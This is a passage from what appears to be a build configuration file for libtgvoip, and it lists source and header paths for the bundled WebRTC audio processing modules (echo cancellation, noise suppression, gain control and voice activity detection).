'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/noise_suppression.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/ns_core.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_core.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/windows_private.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/noise_suppression_x.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/noise_suppression.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_defines.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/residual_echo_detector.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/audio_processing_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/audio_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/typing_detection.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/render_queue_item_verifier.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_generator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/config.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_frame_view.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/mock_audio_processing.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/gain_control.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_generator_factory.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_processing_statistics.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_generator_factory.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/aec_dump.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/aec_dump.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_processing_statistics.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_processing.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/audio_processing.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/include/config.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/interpolated_gain_curve.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/biquad_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/interpolated_gain_curve.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/agc2_common.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/agc2_testing_common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_mode_level_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/gain_applier.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/signal_classifier.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_agc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_digital_gain_applier.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/limiter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/saturation_protector.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/vector_float_frame.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/spectral_features_internal.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/sequence_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/rnn.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/rnn.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/test_utils.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/pitch_info.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/lp_residual.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/ring_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/pitch_search_internal.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/symmetric_matrix_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/spectral_features.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/features_extraction.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/spectral_features_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/fft_util.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/spectral_features.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/pitch_search_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/pitch_search.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/pitch_search.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/features_extraction.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/fft_util.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/rnn_vad/lp_residual.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/fixed_gain_controller.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_mode_level_estimator_agc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/vector_float_frame.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/down_sampler.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/noise_level_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/agc2_testing_common.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/fixed_digital_level_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/fixed_gain_controller.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/saturation_protector.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/vad_with_level.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/limiter_db_gain_curve.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/agc2_common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_mode_level_estimator_agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_digital_gain_applier.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/vad_with_level.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/limiter_db_gain_curve.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/fixed_digital_level_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/gain_applier.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/down_sampler.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/noise_level_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/signal_classifier.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/noise_spectrum_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/compute_interpolated_gain_curve.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/compute_interpolated_gain_curve.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/biquad_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/noise_spectrum_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/limiter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc2/adaptive_mode_level_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/moving_moments.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/transient_detector.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/wpd_tree.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/transient_suppressor.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/daubechies_8_wavelet_coeffs.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/wpd_node.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/moving_moments.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/wpd_tree.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/wpd_node.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/transient_suppressor.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/transient_detector.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/transient/dyadic_decimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/low_cut_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/noise_suppression_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/level_estimator_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/three_band_filter_bank.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/echo_cancellation.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_resampler.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_resampler.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/echo_cancellation.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core_optimized_methods.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core_sse2.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/voice_detection_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/voice_detection_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_cancellation_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_control_for_experimental_agc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/agc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/loudness_histogram.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/agc_manager_direct.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/legacy/analog_agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/legacy/gain_control.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/legacy/digital_agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/legacy/analog_agc.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/legacy/digital_agc.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/utility.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/mock_agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/loudness_histogram.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/gain_map_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/utility.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/agc_manager_direct.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/agc/agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/audio_processing_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/audio_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_control_mobile_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/splitting_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/low_cut_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/audio_generator/file_audio_generator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/audio_generator/file_audio_generator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_controller2.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/three_band_filter_bank.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/residual_echo_detector.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_cancellation_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/noise_suppression_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/level_estimator_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_controller2.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_core.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_defines.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_core.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_core_c.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/echo_control_mobile.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/echo_control_mobile.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_reverb_model.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/downsampled_render_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor_output_analyzer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_fallback.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/residual_echo_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/shadow_filter_update_gain.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_remover_metrics.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matched_filter_lag_aggregator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_buffer2.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec_state.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_path_variability.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/frame_blocker.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_delay_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/adaptive_fir_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/cascaded_biquad_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matched_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor_output.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_signal_analyzer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec3_fft.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec3_fft.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_remover_metrics.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fullband_erle_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/filter_analyzer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_path_delay_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subband_erle_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller_metrics.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor_metrics.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/vector_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/erl_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec_state.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/adaptive_fir_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fft_data.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/skew_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller_metrics.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/comfort_noise_generator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_path_delay_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/erl_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_remover.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_framer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/erle_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/cascaded_biquad_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matrix_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor_output.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/stationarity_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_signal_analyzer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_path_variability.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/moving_average.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_reverb_model.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subtractor_output_analyzer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_audibility.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor_metrics.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/moving_average.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/erle_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/subband_erle_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec3_common.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/residual_echo_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fullband_erle_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matched_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/stationarity_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_canceller3.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/skew_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_decay_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_controller2.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain_limiter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/main_filter_update_gain.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_remover.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model_fallback.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/downsampled_render_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/vector_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matrix_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_frequency_response.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_audibility.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fft_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_processor2.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/echo_canceller3.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_delay_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/aec3_common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/fft_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/vector_math.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/decimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/frame_blocker.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/block_framer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/suppression_gain_limiter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/delay_estimate.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/comfort_noise_generator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_model.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/main_filter_update_gain.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/matched_filter_lag_aggregator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/shadow_filter_update_gain.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/filter_analyzer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_decay_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/reverb_frequency_response.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/decimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec3/render_delay_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_control_mobile_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_control_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/typing_detection.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/logging/apm_data_dumper.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/logging/apm_data_dumper.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/voice_activity_detector.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/standalone_vad.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_audio_proc_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_internal.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_circular_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_circular_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_based_vad.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_audio_proc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pole_zero_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pole_zero_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_based_vad.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/gmm.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/vad_audio_proc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/voice_gmm_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/noise_gmm_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/pitch_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/gmm.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/standalone_vad.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/vad/voice_activity_detector.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator_wrapper.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_sse2.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/block_mean_calculator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/block_mean_calculator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_tables_common.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/delay_estimator_wrapper.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/mocks/mock_smoothing_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_file.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/window_generator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/channel_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_factory.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/sparse_fir_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_sse.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/window_generator.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/ring_buffer.h',
